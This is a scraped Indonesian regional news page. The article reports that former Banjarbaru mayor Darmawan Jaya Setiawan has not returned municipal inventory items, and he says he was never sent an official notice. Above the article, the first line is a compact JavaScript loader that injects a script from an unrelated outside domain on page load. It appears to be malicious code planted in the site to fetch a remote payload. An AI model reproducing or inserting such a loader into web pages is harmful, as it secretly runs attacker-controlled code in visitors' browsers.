(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Darmawan Jaya Setiawan telah mengakhiri masa jabatannya sebagai Wali Kota Banjarbaru periode 2016-2020, pada Februari 2021 lalu. Meski kini tak lagi terlibat di roda pemerintahan, namun baru-baru ini ia menjadi sorotan karena belum mengembalikan barang-barang fasilitas kepala daerah.
Data yang diperoleh Kanalkalimantan, barang inventarisir itu diklaim seperti halnya meja dan kursi kerja dari Bagian Umum Sekretariat Daerah Pemko Banjarbaru. Lalu ada pula seperangkat unit komputer yang dulunya diinventarisir Dinas Komunikasi dan Informasi (Diskominfo) Banjarbaru.
Hal ini turut dibernarkan Rokhyat Riyadi, Kepala Dinas Sosial (Dinsos) Banjarbaru, yang juga saat ini merangkap sebagai Plt Kepala Bagian Umum. Walaupun, Rokhyat sendiri belum berani memaparkan jenis barang inventarisir tersebut secara rinci.
“Iya memang ada barang inventarisir kita yang belum dikembalikan. Kita akan periksa lagi datanya, jadi bisa tau secara rinci jenis barang-barang yang dimaksud,” tuturnya.
Dikonfirmasi terkait kabar yang menerpanya, Darmawan Jaya Setiawan memilih angkat bicara saat dihubungi Rabu (12/5/2021) sore. Ia mengaku tak tahu soal pengembalian barang inventarisir tersebut, sebab belum menerima surat pemberitahuan dari pihak Pemko Banjarbaru.
“Sampai sekarang belum ada yang menyurati saya soal inventarisir ini. Saya akan coba hubungi SKPD terkait untuk menanyakan lebih jelasnya,” ucap Jaya melalui via telefon WhatsApp.
Menurut Jaya sebagaimana proses administrasi di Pemko Banjarbaru, seharusnya ada pemberitahuan lebih dulu melalui pengiriman surat resmi terhadap dirinya. Dalam hal ini surat tersebut ujarnya juga harus menjelaskan data barang-barang inventarisir apa saja yang dikembalikan.
“Harus ada surat resmi yang menjelaskan barang-barang inventarisir itu apa aja. Biasanya kan ada pemberitahuan resminya,” bebernya.
Tak hanya itu, Jaya menegaskan bahwa dirinya siap untuk bertanggung jawab mengembalikan seluruh barang-barang fasilitas yang dulunya diberikan Pemko Banjarbaru. Namun ia juga kembali mengingatkan bahwa ada proses administarasi yang seharusnya lebih dulu dijalankan.
“Iya pasti lah saya kembalikan. Saya juga gak ingin mengambil barang inventarisir dari Pemko. Tapi saya ingatkan proses administasi itu ada. Semestinya ada pemberitahuan jenis barang-barang itu apa saja,” tuntasnya. (Kanalkalimanan.com/rico)
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas menetapkan tiga lokasi pelaksanaan Pasar Ramadan 1447 Hijriah… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Pengadaan kamera mirrorless dua unit seharga Rp132.690.000 oleh Pemerintah Kota (Pemko) Banjarmasin… Read More
Minta Pemko Banjarmasin Aktifkan Kembali 64 Ribu BPJS Warga Read More
KANALKALIMANTAN.COM, JAKARTA - Kementerian Transmigrasi (Kementrans) turun tangan langsung menangani kasus pencabutan Sertipikat Hak Milik… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru mengeluarkan surat edaran tentang pelaksanaan kegiatan masyarakat pada bulan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Cuaca di Kalimantan Selatan (Kalsel) dalam sepekan ke depan diprakirakan masih didominasi… Read More
This website uses cookies.